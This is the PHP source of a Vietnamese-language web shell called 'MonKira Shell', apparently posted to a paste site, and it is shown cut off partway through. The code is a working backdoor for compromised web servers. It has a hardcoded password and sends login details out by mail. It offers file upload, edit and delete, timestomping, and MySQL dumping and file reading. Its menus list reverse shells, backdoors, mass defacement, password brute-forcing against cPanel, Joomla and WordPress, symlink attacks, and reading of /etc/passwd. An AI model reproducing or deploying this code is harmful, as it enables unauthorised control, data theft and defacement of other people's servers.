· 9 years ago · Sep 05, 2017, 02:50 PM
1<?php
2error_reporting(7);
3@set_magic_quotes_runtime(0);
4ob_start();
5$mtime = explode(' ', microtime());
6$starttime = $mtime[1] + $mtime[0];
7define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)) . '/');
8define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
9define('IS_COM', class_exists('COM') ? 1 : 0);
10define('IS_GPC', get_magic_quotes_gpc());
11$dis_func = get_cfg_var('disable_functions');
12define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
13@set_time_limit(0);
14foreach (array(
15 '_GET',
16 '_POST'
17) as $_request) {
18 foreach ($$_request as $_key => $_value) {
19 if ($_key{0} != '_') {
20 if (IS_GPC) {
21 $_value = s_array($_value);
22 }
23 $$_key = $_value;
24 }
25 }
26}
27$admin = array();
28$admin['check'] = true;
29$admin['pass'] = '123';
30$admin['cookiepre'] = '';
31$admin['cookiedomain'] = '';
32$admin['cookiepath'] = '/';
33$admin['cookielife'] = 86400; //1 ngày
34if ($charset == 'utf8') {
35 header("content-Type: text/html; charset=utf-8");
36} elseif ($charset == 'big5') {
37 header("content-Type: text/html; charset=big5");
38} elseif ($charset == 'gbk') {
39 header("content-Type: text/html; charset=gbk");
40} elseif ($charset == 'latin1') {
41 header("content-Type: text/html; charset=iso-8859-2");
42}
43$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
44$timestamp = time();
45if ($action == "logout") {
46 scookie('monkira', '', -86400 * 365); // cookie này giá trị là rỗng, thời hạn 1 năm
47 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
48 p('<body background=black>');
49 exit;
50}
51if ($admin['check']) {
52 if ($doing == 'login') {
53 if ($admin['pass'] == $password) {
54 scookie('monkira', $password);
55 $time_shell = "" . date("d/m/Y - H:i:s") . "";
56 $ip_remote = $_SERVER["REMOTE_ADDR"];
57 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
58 $to_email = ''
59 //
60 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
61 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell - Pwd: $password";
62 $header = "From: $from_shellcode
63Reply-to: $from_shellcode";
64 @mail($to_email, $server_mail, $linkcr, $header);
65 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
66 p('<body bgcolor=black><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
67<BR><BR><div align=center><font color=#18a2d0 face="tahoma" size=3><b>Chào MonKira!!! Chúc MonKira làm việc vui vẻ !!!</b><BR><img src=http://i1065.photobucket.com/albums/u391/MonKira/monkira_zpsyy5fcjub.gif></div>');
68 exit;
69 } else {
70 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Mật khẩu sai, MonKira!!!</blink><BR></font></div></td></tr></table>';
71 echo $err_mess;
72 }
73 }
74 if ($_COOKIE['monkira']) {
75 if ($_COOKIE['monkira'] != $admin['pass']) {
76 loginpage();
77 }
78 } else {
79 loginpage();
80 }
81}
82$errmsg = '';
83if ($action == 'phpinfo') {
84 if (IS_PHPINFO) {
85 phpinfo();
86 } else {
87 $errmsg = 'phpinfo() function has non-permissible';
88 }
89}
90if ($doing == 'downfile' && $thefile) {
91 if (!@file_exists($thefile)) {
92 $errmsg = 'The file you want Downloadable was nonexistent';
93 } else {
94 $fileinfo = pathinfo($thefile);
95 header('Content-type: application/x-' . $fileinfo['extension']);
96 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
97 header('Content-Length: ' . filesize($thefile));
98 @readfile($thefile);
99 exit;
100 }
101}
102if ($doing == 'backupmysql' && !$saveasfile) {
103 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
104 $table = array_flip($table);
105 $result = q("SHOW tables");
106 if (!$result)
107 p('<h2>' . mysql_error() . '</h2>');
108 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
109 header('Content-type: application/unknown');
110 header('Content-Disposition: attachment; filename=' . $filename);
111 $mysqldata = '';
112 while ($currow = mysql_fetch_array($result)) {
113 if (isset($table[$currow[0]])) {
114 $mysqldata .= sqldumptable($currow[0]);
115 }
116 }
117 mysql_close();
118 exit;
119}
120if ($doing == 'mysqldown') {
121 if (!$dbname) {
122 $errmsg = ' dbname';
123 } else {
124 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
125 if (!file_exists($mysqldlfile)) {
126 $errmsg = 'The file you want Downloadable was nonexistent';
127 } else {
128 $result = q("select load_file('$mysqldlfile');");
129 if (!$result) {
130 q("DROP TABLE IF EXISTS tmp_angel;");
131 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
132 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
133 $result = q("select content from tmp_angel");
134 q("DROP TABLE tmp_angel");
135 }
136 $row = @mysql_fetch_array($result);
137 if (!$row) {
138 $errmsg = 'Load file failed ' . mysql_error();
139 } else {
140 $fileinfo = pathinfo($mysqldlfile);
141 header('Content-type: application/x-' . $fileinfo['extension']);
142 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
143 header("Accept-Length: " . strlen($row[0]));
144 echo $row[0];
145 exit;
146 }
147 }
148 }
149}
150?>
151 <?php
152 //setup php for working with Unicode data
153mb_internal_encoding('UTF-8');
154mb_http_output('UTF-8');
155mb_http_input('UTF-8');
156mb_language('uni');
157mb_regex_encoding('UTF-8');
158ob_start('mb_output_handler');
159echo '<html>
160<head>
161<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
162<title>.:: MonKira Shell ::. </title>
163<style type="text/css">
164body,td{font-family:Tahoma;font-size:12px;color:#00dcff;line-height: 16px;font-weight: bold;}
165
166a {color: #00FF7F;text-decoration:none;}
167a:hover{color: yellow;text-decoration:underline;}
168.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:black;padding:5px 10px 5px 5px;}
169.alt2 td{border-top:1px solid gray;border-bottom:1px solid red;background:black;padding:5px 10px 5px 5px;}
170.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(255, 0, 0, 0.65);padding:5px 10px 5px 5px;}
171.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:rgba(82, 0, 255, 0.37);padding:5px 10px 5px 5px;}
172.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
173.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:rgba(0, 0, 255, 0.65);padding:5px 10px 5px 5px;font-weight:bold;}
174.head_small td{font-family:Arial; border-top:1px solid gray;border-bottom:1px solid gray;padding:5px 10px 5px 5px;font-weight:bold;font-size:8pt;}
175.head td span{font-weight:normal;}
176form{margin:0;padding:0;}
177h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
178ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
179u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
180input, textarea, button
181{
182 font-size: 9pt;
183 color: #FFF;
184 font-family: verdana, sans-serif;
185 background-color: rgba(255, 0, 0, 0.61);
186 border-left: 1px solid #74A202;
187 border-top: 1px solid #74A202;
188 border-right: 1px solid #74A202;
189 border-bottom: 1px solid #74A202;
190}
191select
192{
193 font-size: 8pt;
194 font-weight: normal;
195 color: #ccc;
196 font-family: verdana, sans-serif;
197 background-color: #202020;
198}
199
200 @-webkit-keyframes monkira11{
201 1% {opacity: 0.0;}
202 25% {opacity: 0.3;}
203 50% {opacity: 0.1;}
204 75% {opacity: 0.7;}
205 100 {opacity: 1;}
206 }
207</style>
208<script type="text/javascript">
209function CheckAll(form) {
210 for(var i=0;i<form.elements.length;i++) {
211 var e = form.elements[i];
212 if (e.name != \'chkall\')
213 e.checked = form.chkall.checked;
214 }
215}
216function $(id) {
217 return document.getElementById(id);
218}
219function goaction(act){
220 $(\'goaction\').action.value=act;
221 $(\'goaction\').submit();
222}
223</script>
224</head>
225<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://sv1.upsieutoc.com/2016/11/17/Free-download-star-wallpaper-HD.jpg>
226<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
227 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
228 <tr>
229 <td align="center" valign=center>
230 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
231 MonKira<img src="http://i1065.photobucket.com/albums/u391/MonKira/monkira_zpsyy5fcjub.gif">
232 </div>
233 </td>
234 </tr>
235 </table>
236</div>
237 <script>
238 var ld=(document.all);
239 var ns4=document.layers;
240 var ns6=document.getElementById&&!document.all;
241 var ie4=document.all;
242 if (ns4)
243 ld=document.loading;
244 else if (ns6)
245 ld=document.getElementById("loading").style;
246 else if (ie4)
247 ld=document.all.loading.style;
248 function init()
249 {
250 if(ns4){ld.visibility="hidden";}
251 else if (ns6||ie4) ld.display="none";
252 }
253 </script>
254<table width="100%" border="0" cellpadding="0" cellspacing="0">
255 <tr class="head_small">
256 <td width=100%>
257 <table width=100%><tr class="head_small"><td width="150px">
258 <a href="<?php $self;?>"><img style="-webkit-animation: monkira11 1s infinite" src="http://sv1.upsieutoc.com/2016/11/17/DG.png" border=0 width="260" height="180"></a></td>
259 <td>
260
261 <span style="float:left;"> ';echo "<font color=#ff0082>Hostname: </font><font color=aqua>".$_SERVER['HTTP_HOST']."<font>";;echo ' | Server IP: ';echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";echo ' | Your IP: ';echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";;echo ' | <a href="https://www.facebook.com/monkira.hs" target="_blank">';echo str_replace('.','','Contac MonKira');;echo ' </a> | <a href="javascript:goaction(\'logout\');"><font color=red>Đăng Xuất</font></a> | <a href="javascript:goaction(\'kill\');"> <font color=aqua right=13px><b>Kill Shell</b></font></a></span> <br />
262
263 ';
264
265
266$curl_on = @function_exists('curl_version');
267$mysql_on = @function_exists('mysql_connect');
268$mssql_on = @function_exists('mssql_connect');
269$pg_on = @function_exists('pg_connect');
270$ora_on = @function_exists('ocilogon');
271echo (($safe_mode) ? ("Safe_mod: <b><font color=green>Mở</font></b> - ") : ("Safe_mod: <b><font color=red>Đóng</font></b> - "));
272echo "PHP version: <b>" . @phpversion() . "</b> - ";
273echo "cURL: " . (($curl_on) ? ("<b><font color=green>Mở</font></b> - ") : ("<b><font color=red>Đóng</font></b> - "));
274echo "MySQL: <b>";
275$mysql_on = @function_exists('mysql_connect');
276if ($mysql_on) {
277 echo "<font color=green>Mở</font></b> - ";
278} else {
279 echo "<font color=red>Đóng</font></b> - ";
280}
281echo "MSSQL: <b>";
282$mssql_on = @function_exists('mssql_connect');
283if ($mssql_on) {
284 echo "<font color=green>Mở</font></b> - ";
285} else {
286 echo "<font color=red>Đóng</font></b> - ";
287}
288echo "PostgreSQL: <b>";
289$pg_on = @function_exists('pg_connect');
290if ($pg_on) {
291 echo "<font color=green>Mở</font></b> - ";
292} else {
293 echo "<font color=red>Đóng</font></b> - ";
294}
295echo "Oracle: <b>";
296$ora_on = @function_exists('ocilogon');
297if ($ora_on) {
298 echo "<font color=green>Mở</font></b>";
299} else {
300 echo "<font color=red>Đóng</font></b><BR>";
301}
302echo "Disable functions : <b>";
303if ('' == ($df = @ini_get('disable_functions'))) {
304 echo "<font color=green>KHÔNG</font></b><BR>";
305} else {
306 echo "<font color=red>$df</font></b><BR>";
307}
308
309echo "<font color=#ff4e00 site=3>Uname -a</font>: <font color=violet>" . @substr(@php_uname(), 0, 120) . "</font>";
310$kernel = @php_uname();
311echo " - <a href=https://www.google.com.vn/search?q=Linux+Exploit+kernel+" .urlencode(@php_uname(r))." target='_blank'><font color=yellow><b>[Kernel Exploi]</b></font><br></a>";
312echo "<font color=#ff4e00>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=#6eff00>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - <font color=fff400>uid=" . @getmyuid() . " (" . @get_current_user() . ") </font><font color=15ff00>gid=" . @getmygid() . "(" . @get_current_user() . ")</font><br><a href=javascript:goaction('phpini');><font color=#ff0082>--PHP.INI--</font>
313<a href=javascript:goaction('phpinfo');><font color=yellow>--[PHP INFO]--</font></a>
314<a href=http://www.bing.com/search?q=ip:" .urlencode(gethostbyname($_SERVER['SERVER_NAME']))." target='_blank'><font color=aqua>--[Bing IP]--</font></a>";
315?></td></tr></table></td>
316 </tr>
317
318 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
319 <tr class="alt1">
320 <td width=10%><style>
321 #abt-nav,#abt-nav ul {
322 list-style: none outside none;
323 margin: 0;
324 padding: 0;
325}
326#abt-nav {
327 background: url('http://i1065.photobucket.com/albums/u391/MonKira/Menu1_zpsbptloe3g.png');
328 clear: both;
329 font-size: 12px;
330 height: 45px;
331 padding: 0 0 0 15px;
332 position: relative;
333 width: 100%;
334}
335#abt-nav ul {
336 background-color: #222;
337 border:1px solid #222;
338 border-radius: 0 5px 5px 5px;
339 border-width: 0 1px 1px;
340 box-shadow: 0 5px 5px rgba(0, 0, 0, 0.5);
341 left: -9999px;
342 overflow: hidden;
343 position: absolute;
344 top: -9999px;
345 z-index: 2;
346 -moz-transform: scaleY(0);
347 -ms-transform: scaleY(0);
348 -o-transform: scaleY(0);
349 -webkit-transform: scaleY(0);
350 transform: scaleY(0);
351 -moz-transform-origin: 0 0;
352 -ms-transform-origin: 0 0;
353 -o-transform-origin: 0 0;
354 -webkit-transform-origin: 0 0;
355 transform-origin: 0 0;
356 -moz-transition: -moz-transform 0.1s linear;
357 -ms-transition: -ms-transform 0.1s linear;
358 -o-transition: -o-transform 0.1s linear;
359 -webkit-transition: -webkit-transform 0.1s linear;
360 transition: transform 0.1s linear;
361}
362#abt-nav li {
363 background: url('http://4.bp.blogspot.com/-3KmCMhrXTqg/VJN8Vdc3FaI/AAAAAAAABWA/chuPnYYih2Y/s1600/Menu2.png') no-repeat scroll right 5px transparent;
364 float: left;
365 position: relative;
366}
367#abt-nav li a {
368 color: #FFFFFF;
369 display: block;
370 float: left;
371 font-weight: normal;
372 height: 30px;
373 padding: 23px 20px 0;
374 position: relative;
375 text-decoration: none;
376 text-shadow: 1px 1px 1px #000000;
377}
378#abt-nav li:hover > a {
379 color: #00B4FF;
380}
381#abt-nav li:hover, #abt-nav a:focus, #abt-nav a:hover, #abt-nav a:active {
382 background: none repeat scroll 0 0 #121212;
383 outline: 0 none;
384}
385#abt-nav li:hover ul.subs {
386 left: 0;
387 top: 53px;
388 width: 180px;
389 -moz-transform: scaleY(1);
390 -ms-transform: scaleY(1);
391 -o-transform: scaleY(1);
392 -webkit-transform: scaleY(1);
393 transform: scaleY(1);
394}
395#abt-nav ul li {
396 background: none;
397 width: 100%;
398}
399#abt-nav ul li a {
400 float: none;
401}
402#abt-nav ul li:hover > a {
403 background-color: #121212;
404 color: #00B4FF;
405}
406#lavalamp {
407 background: url('http://1.bp.blogspot.com/-8IK_bj0a8D8/VJN8VWkwVHI/AAAAAAAABVw/CCv-Pyt7noE/s1600/Menu3.png') no-repeat scroll 0 0 transparent;
408 height: 16px;
409 left: 13px;
410 position: absolute;
411 top: 0px;
412 width: 64px;
413 -moz-transition: all 300ms ease;
414 -ms-transition: all 300ms ease;
415 -o-transition: all 300ms ease;
416 -webkit-transition: all 300ms ease;
417 transition: all 300ms ease;
418}
419#lavalamp:hover {
420 -moz-transition-duration: 3000s;
421 -ms-transition-duration: 3000s;
422 -o-transition-duration: 3000s;
423 -webkit-transition-duration: 3000s;
424 transition-duration: 3000s;
425}
426
427#abt-nav li:nth-of-type(1):hover ~ #lavalamp {
428 left: 17px;
429}
430#abt-nav li:nth-of-type(2):hover ~ #lavalamp {
431 left: 103px;
432}
433#abt-nav li:nth-of-type(3):hover ~ #lavalamp {
434 left: 178px;
435}
436#abt-nav li:nth-of-type(4):hover ~ #lavalamp {
437 left: 262px;
438}
439#abt-nav li:nth-of-type(5):hover ~ #lavalamp {
440 left: 344px;
441}
442#abt-nav li:nth-of-type(6):hover ~ #lavalamp {
443 left: 425px;
444}
445#abt-nav li:nth-of-type(7):hover ~ #lavalamp {
446 left: 522px;
447}
448#abt-nav li:nth-of-type(8):hover ~ #lavalamp {
449 left: 615px;
450}
451#abt-nav li:nth-of-type(9):hover ~ #lavalamp {
452 left: 705px;
453}
454#abt-nav li:nth-of-type(10):hover ~ #lavalamp {
455 left: 795px;
456}
457#abt-nav li:nth-of-type(11):hover ~ #lavalamp {
458 left: 900px;
459}
460#abt-nav li:nth-of-type(12):hover ~ #lavalamp {
461 left: 1005px;
462}
463#abt-nav li:nth-of-type(13):hover ~ #lavalamp {
464 left: 1100px;
465}
466#abt-nav li:nth-of-type(14):hover ~ #lavalamp {
467 left: 1190px;
468}
469#abt-nav li:nth-of-type(15):hover ~ #lavalamp {
470 left: 1287px;
471}
472#abt-nav li:nth-of-type(16):hover ~ #lavalamp {
473 left: 1377px;
474}
475#abt-nav li:nth-of-type(17):hover ~ #lavalamp {
476 left: 1475px;
477}
478#abt-nav li:nth-of-type(18):hover ~ #lavalamp {
479 left: 195px;
480}
481#abt-nav li:nth-of-type(19):hover ~ #lavalamp {
482 left: 1610px;
483}
484 </style>
485 <ul id="abt-nav">
486 <li><a href="javascript:goaction('file');"><font color=#FFFF00>Trang chủ</font></a></li>
487 <li><a href="javascript:goaction('sqladmin');"><font color=#C38EC7>SQL</font></a></li>
488 <li><a href="javascript:goaction('etcpwd');"><font color=#EEE0E5>Get user</font></a></li>
489 <li><a class="hsubs" href="#"><font color=#FF3300>CGI Shell</font></a>
490 <ul class="subs">
491 <li><a href="javascript:goaction('log');" target="_blank" >CGI Shell Telnet (.log)</a></li>
492 <li><a href="javascript:goaction('pl');" target="_blank">CGI Shell Telnet (.pl)</a></li>
493 <li><a href="javascript:goaction('sa');" target="_blank">CGI Shell .sa</a></li>
494 <li><a href="javascript:goaction('cin');" target="_blank">CGI Shell .cin</a></li>
495 <li><a href="javascript:goaction('izo');" target="_blank">CGI Shell .izo</a></li>
496 <li><a href="javascript:goaction('shtml');" target="_blank">SSI Shell .shtml</a></li>
497 </ul>
498 </li>
499
500
501 <li><a class="hsubs" href="#"><font color=#52F3FF>Tools</font></a>
502 <ul class="subs">
503 <li><a href="javascript:goaction('md5');">Encode Md5</a></li>
504 <li><a href="javascript:goaction('spam');">Spam Mail</a></li>
505 <li><a href="javascript:goaction('zipcode');">Zip Code</a></li>
506 <li><a href="javascript:goaction('priv8');">Priv8 Python</a></li>
507 <li><a href="javascript:goaction('pack');">Shell Pack</a></li>
508 <li><a href="javascript:goaction('scan');">Scan Shell</a></li>
509 <li><a href="javascript:goaction('find');">Admin Page Finder</a></li>
510
511 </ul>
512
513 </li>
514 <li><a href="javascript:goaction('symroot');"><font color=#5EFB6E>Get Root</font></a></li>
515
516 <li><a class="hsubs" href="#"><font color=#FF00FF>Symlink</font></a>
517 <ul class="subs">
518 <li><a href="javascript:goaction('symljnk');">Domain-User</a></li>
519 <li><a href="javascript:goaction('symtool');">Symlink Tools</a></li>
520 <li><a href="javascript:goaction('fakesym');">Fake Symlink</a></li>
521 </ul>
522 </li>
523
524
525 <li><a href="#;"><font color=#ADFF2F>Back Connect</font></a>
526 <ul class="subs">
527 <li><a href="javascript:goaction('backconnect');">Back Conect Perl/C</a></li>
528 <li><a href="javascript:goaction('bcphp');">Back Conect PHP</a></li>
529 </ul>
530
531 </li>
532 <li><a class="hsubs" href="#"><font color=#00abff>Mass Deface</font></a>
533 <ul class="subs">
534 <li><a href="javascript:goaction('mass');">With Root</a></li>
535 <li><a href="javascript:goaction('massfd');">User Folder</a></li>
536
537
538 </ul>
539 </li>
540 <li><a class="hsubs" href="#"><font color=#6CC417>Command</font></a>
541 <ul class="subs">
542 <li><a href="javascript:goaction('command');">Execute Command</a></li>
543 <li><a href="javascript:goaction('termi');">DIE Group Terminal</a></li>
544 </ul></li>
545 <li><a href="#"><font color=#EE3B3B>Back Door</font></a>
546 <ul class="subs">
547 <li><a href="javascript:goaction('backdoor');">Back Door PHP</a></li>
548 <li><a href="javascript:goaction('weevely');">Back Door Weevely</a></li>
549
550 </ul></li>
551 <li><a href="javascript:goaction('df');"><font color=#FF69B4>Deface</font></a></li>
552
553 <li><a class="hsubs" href="#"><font color=#6CC417>Brute</font></a>
554 <ul class="subs">
555 <li><a href="javascript:goaction('brute');" >Brute Cpanel</a></li>
556 <li><a href="javascript:goaction('joomla');" >Brute Joomla</a></li>
557 <li><a href="javascript:goaction('brutewp');" >Brute Wordpress</a></li>
558 </ul>
559 </li>
560
561
562 <div id="lavalamp"></div>
563</ul>
564
565 </td>
566 </tr>
567</table>
568<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
569<?php
570//setup php for working with Unicode data
571mb_internal_encoding('UTF-8');
572mb_http_output('UTF-8');
573mb_http_input('UTF-8');
574mb_language('uni');
575mb_regex_encoding('UTF-8');
576ob_start('mb_output_handler');
577formhead(array(
578 'name' => 'goaction'
579));
580makehide('action');
581formfoot();
582$errmsg && m($errmsg);
583!$dir && $dir = '.';
584$nowpath = getPath(SA_ROOT, $dir);
585if (substr($dir, -1) != '/') {
586 $dir = $dir . '/';
587}
588$uedir = ue($dir);
589if (!$action || $action == 'file') {
590 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
591 if ($doing == 'deldir' && $thefile) {
592 if (!file_exists($thefile)) {
593 m($thefile . ' directory does not exist');
594 } else {
595 m('Thư mục được xóa ' . (deltree($thefile) ? basename($thefile) . ' thành công' : 'thất bại'));
596 }
597 } elseif ($newdirname) {
598 $mkdirs = $nowpath . $newdirname;
599 if (file_exists($mkdirs)) {
600 m('Thư mục đã tồn tại');
601 } else {
602 m('Thư mục được tạo ' . (@mkdir($mkdirs, 0777) ? 'thành công' : 'thất bại'));
603 @chmod($mkdirs, 0777);
604 }
605 } elseif ($doupfile) {
606 m('File tải lên ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'thành công' : 'thất bại'));
607 } elseif ($editfilename && $filecontent) {
608 $fp = @fopen($editfilename, 'w');
609 m('Lưu file ' . (@fwrite($fp, $filecontent) ? 'thành công' : 'thất bại'));
610 @fclose($fp);
611 } elseif ($pfile && $newperm) {
612 if (!file_exists($pfile)) {
613 m('The original file does not exist');
614 } else {
615 $newperm = base_convert($newperm, 8, 10);
616 m('Thay đổi phân quyền ' . (@chmod($pfile, $newperm) ? 'thành công' : 'Thất bại'));
617 }
618 } elseif ($oldname && $newfilename) {
619 $nname = $nowpath . $newfilename;
620 if (file_exists($nname) || !file_exists($oldname)) {
621 m($nname . ' has already existed or original file does not exist');
622 } else {
623 m(basename($oldname) . ' Đổi tên ' . basename($nname) . (@rename($oldname, $nname) ? ' thành công' : 'thất bại'));
624 }
625 } elseif ($sname && $tofile) {
626 if (file_exists($tofile) || !file_exists($sname)) {
627 m('The goal file has already existed or original file does not exist');
628 } else {
629 m(basename($tofile) . ' Sao chép ' . (@copy($sname, $tofile) ? basename($tofile) . ' thành công' : 'thất bại'));
630 }
631 } elseif ($curfile && $tarfile) {
632 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
633 m('The goal file has already existed or original file does not exist');
634 } else {
635 $time = @filemtime($tarfile);
636 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
637 }
638 } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
639 if (!@file_exists($curfile)) {
640 m(basename($curfile) . ' does not exist');
641 } else {
642 $time = strtotime("$year-$month-$day $hour:$minute:$second");
643 m('Thay đổi thời gian sửa file ' . (@touch($curfile, $time, $time) ? 'thành công' : 'thất bại'));
644 }
645 } elseif ($doing == 'downrar') {
646 if ($dl) {
647 $dfiles = '';
648 foreach ($dl as $filepath => $value) {
649 $dfiles .= $filepath . ',';
650 }
651 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
652 $dl = explode(',', $dfiles);
653 $zip = new PHPZip($dl);
654 $code = $zip->out;
655 header('Content-type: application/octet-stream');
656 header('Accept-Ranges: bytes');
657 header('Accept-Length: ' . strlen($code));
658 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
659 echo $code;
660 exit;
661 } else {
662 m('Xin hãy chọn file');
663 }
664 } elseif ($doing == 'delfiles') {
665 if ($dl) {
666 $dfiles = '';
667 $succ = $fail = 0;
668 foreach ($dl as $filepath => $value) {
669 if (@unlink($filepath)) {
670 $succ++;
671 } else {
672 $fail++;
673 }
674 }
675 m('Xóa >> thành công ' . $succ . ' thất bại ' . $fail);
676 } else {
677 m('Xin hãy chọn file');
678 }
679 }
680 formhead(array(
681 'name' => 'createdir'
682 ));
683 makehide('newdirname');
684 makehide('dir', $nowpath);
685 formfoot();
686 formhead(array(
687 'name' => 'fileperm'
688 ));
689 makehide('newperm');
690 makehide('pfile');
691 makehide('dir', $nowpath);
692 formfoot();
693 formhead(array(
694 'name' => 'copyfile'
695 ));
696 makehide('sname');
697 makehide('tofile');
698 makehide('dir', $nowpath);
699 formfoot();
700 formhead(array(
701 'name' => 'rename'
702 ));
703 makehide('oldname');
704 makehide('newfilename');
705 makehide('dir', $nowpath);
706 formfoot();
707 formhead(array(
708 'name' => 'fileopform'
709 ));
710 makehide('action');
711 makehide('opfile');
712 makehide('dir');
713 formfoot();
714 $free = @disk_free_space($nowpath);
715 !$free && $free = 0;
716 $all = @disk_total_space($nowpath);
717 !$all && $all = 0;
718 $used = $all - $free;
719 $used_percent = @round(100 / ($all / $free), 2);
720 p('<font color=yellow face=tahoma size=2><B>Quản lí dữ liệu</b> </font> Ổ đĩa còn trống <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');
721?><table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
722 <form action="" method="post" id="godir" name="godir">
723 <tr>
724 <td nowrap>Directory (<?php
725 echo $dir_writeable;
726?>, <?php
727 echo getChmod($nowpath);
728?>)</td>
729 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php
730 echo $nowpath;
731?>" type="text" style="width:100%;margin:0 8px;"></td>
732 <td nowrap><input class="bt" value="MonKira" type="submit"></td>
733 </tr>
734 </form>
735 </table>
736 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
737 <script type="text/javascript">
738function createdir(){
739 var newdirname;
740 newdirname = prompt('directory name:', '');
741 if (!newdirname) return;
742 $('createdir').newdirname.value=newdirname;
743 $('createdir').submit();
744}
745function fileperm(pfile){
746 var newperm;
747 newperm = prompt('Path của file/folder:'+pfile+'\n Thuộc tính mới:', '');
748 if (!newperm) return;
749 $('fileperm').newperm.value=newperm;
750 $('fileperm').pfile.value=pfile;
751 $('fileperm').submit();
752}
753function copyfile(sname){
754 var tofile;
755 tofile = prompt('Path file cũ:'+sname+'\n Path file mới (ghi đầy đủ path):', '');
756 if (!tofile) return;
757 $('copyfile').tofile.value=tofile;
758 $('copyfile').sname.value=sname;
759 $('copyfile').submit();
760}
761function rename(oldname){
762 var newfilename;
763 newfilename = prompt('Path folder cũ:'+oldname+'\n Tên mới:', '');
764 if (!newfilename) return;
765 $('rename').newfilename.value=newfilename;
766 $('rename').oldname.value=oldname;
767 $('rename').submit();
768}
769function dofile(doing,thefile,m){
770 if (m && !confirm(m)) {
771 return;
772 }
773 $('filelist').doing.value=doing;
774 if (thefile){
775 $('filelist').thefile.value=thefile;
776 }
777 $('filelist').submit();
778}
779function createfile(nowpath){
780 var filename;
781 filename = prompt('file name:', '');
782 if (!filename) return;
783 opfile('editfile',nowpath + filename,nowpath);
784}
785function opfile(action,opfile,dir){
786 $('fileopform').action.value=action;
787 $('fileopform').opfile.value=opfile;
788 $('fileopform').dir.value=dir;
789 $('fileopform').submit();
790}
791function godir(dir,view_writable){
792 if (view_writable) {
793 $('godir').view_writable.value=1;
794 }
795 $('godir').dir.value=dir;
796 $('godir').submit();
797}
798</script>
799 <?php
800 //setup php for working with Unicode data
801mb_internal_encoding('UTF-8');
802mb_http_output('UTF-8');
803mb_http_input('UTF-8');
804mb_language('uni');
805mb_regex_encoding('UTF-8');
806ob_start('mb_output_handler');
807 tbhead();
808 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
809 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
810 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">Thư mục gốc</a>');
811 if ($view_writable) {
812 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">Xem tất cả</a>');
813 } else {
814 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">Chỉ xem thư mục</a>');
815 }
